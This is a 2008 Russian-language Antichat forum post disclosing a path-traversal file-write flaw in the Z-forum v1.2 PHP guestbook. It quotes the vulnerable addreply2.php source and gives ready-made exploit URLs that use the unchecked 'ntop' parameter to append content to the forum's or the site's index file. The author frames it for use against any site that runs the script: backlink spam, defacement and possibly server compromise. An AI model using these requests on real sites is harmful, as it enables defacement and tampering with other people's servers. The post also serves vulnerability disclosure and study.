ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Z-forum v.1.2
  #1  
Старый 20.03.2008, 20:17
Аватар для Dronga
Dronga
ВАША реклама ТУТ!!
Регистрация: 01.07.2005
Сообщений: 647
Провел на форуме:
3478464

Репутация: 714


Отправить сообщение для Dronga с помощью ICQ
По умолчанию Z-forum v.1.2

Не совсем стандартная бага и таких примеров маловато.. Пусть будет здесь.

Налетел абсолютно случайно на скрипт, который лежит здесь: http://newscript.ru/?q=taxonomy/term/75&page=1

Поставил... Вот типа такой борды-гостевой-форума человеку и надо было. Прикрутили диз, всё замечательно. Но душе хотелось романтики =)

Полезли в исходник. Собственно, ничего сложного там нет. Остановимся на addreply2.php.
PHP код:
<?php
....
function 
u($urlz){
$urlz=str_replace("<","&lt;",$urlz);
$urlz=str_replace(">","&gt;",$urlz);
$urlz=str_replace("\"","",$urlz);
$urlz=str_replace("\n","",$urlz);
$urlz=str_replace("\r","",$urlz);
$urlz=str_replace("  "," ",$urlz);
$urlz=str_replace("***","фиг",$urlz);
$urlz=str_replace("блядь","блин",$urlz);
$urlz=str_replace("****","собака",$urlz);
$urlz=str_replace("мудак","дурак",$urlz);
$urlz=str_replace("мадазвон","сволочь",$urlz);
$urlz=str_replace("пиздец","копец",$urlz);
$urlz=str_replace("мудаки","дураки",$urlz);
$urlz=str_replace("JockeR","JokeR",$urlz);
$urlz=str_replace("jocker","joker",$urlz);
$urlz=str_replace("jockeR","joker",$urlz);
$urlz=str_replace("заебал","задолбал",$urlz);
return 
$urlz;
}
...
$ind=fopen("data/$ntop.php","a+");
...
if(
$urlz==""){
$si="no url";
}else{
$si="<a href=\\\"".u($urlz)."\\\">".u($urlz)."</a>";
}
...
$rind="<?
echo\"
<table border=\\\"\$border\\\" bgcolor=\\\"\$tablebg\\\" width=\\\"700\\\">
<tr><td bgcolor=\\\"#C0C0C0\\\">От: 
$pis Сайт: $si<br>Тема: Re:$topicz <br>Сообщение:<br><font color=\\\"#FFFFFF\\\">".mm($mess)."</font></td></tr>
<tr><td background=\\\"img/zag.jpg\\\"><font color=\\\"#FFFFFF\\\"><p align=\\\"center\\\"><a href=\\\"
$dirfor/addreply.php?top=$topicz&ntop=$ntop\\\">ОТВЕТ</a></p></font></td></tr>
</table>
\";
?>
"
;
fwrite($ind,$rind);
..
?>
Кто по коду всё понял - молодцы, закрываем страницу. Остальные читаем дальше. Этот скрипт используется когда оставляют пост. Скрипт не использует базу и все мессаги хранятся в php-файлах, которые подключаются непосредственно при просмотре. Так вот когда человек делает пост, скрипт его сохраняет под номером в каталоге data. Номер поста определяется переменной $ntop, которая передается в GET. Кстати, для работы скрипта необходимо register_globals = On в php.ini.

Естественно никаких проверок $ntop нет. Поэтому тут мы можем немного пофокусничать.

Код:
http://sire.ru/z-forum/addreply2.php?ntop=999999&urlz=http://ya.ru
Создаст файл 999999.php в каталоге data.
Код:
http://site.ru/z-forum/addreply2.php?ntop=../999999&urlz=http://ya.ru
Создаст наш файл в каталоге выше..
Код:
http://site.ru/z-forum/addreply2.php?ntop=../index&urlz=http://ya.ru
Допишет индексовый файл форума..
Код:
http://site.ru/z-forum/addreply2.php?ntop=../../index&urlz=http://ya.ru
Допишет индексовую страничку сайта =)))

Резонный вопрос, почему я использую вторую переменную $urlz ?? Потому во всех полях достаточно твердая фильтрация, а используя $urlz теоритически могу беклинков на свой сайт понаоставлять, на любой странице сайта где расположен уязвимый скрипт, а при удачном стечении обстоятельств и сервера

Если есть права, то можно дописать в любой файл на ФС сервера с расширением php. %00 на подопытном сервере не прокатило. Естественно, так можно и сайт задефейсить и просто испортить ему фейс неосторожной вставкой в файлы шаблона

PS. Живых сайтов для примера в гугле не отыскалось, домашняя страница автора тоже приказала долго жить. А вдруг кому попадется.

(с) Antichat.ru
__________________
My ICQ: 296@463@859 ONLY!! Please check your list!!
И здесь могла бы быть ВАША реклама!!!

Последний раз редактировалось Dronga; 20.03.2008 в 20:57..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
шелл Simple Machines Forum helat Форумы 1 22.02.2008 23:40
Вопрос про уязвимости в Simpleboard Forum Component 1.0.4-Beta1 DIV team Форумы 3 06.01.2006 16:33
Есть ли рабочий exploit для ITA Forum v.1.49? dismal Форумы 5 02.01.2006 20:39
SQL injection in myPHP Forum Rebz Чужие Статьи 0 08.02.2005 21:42



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ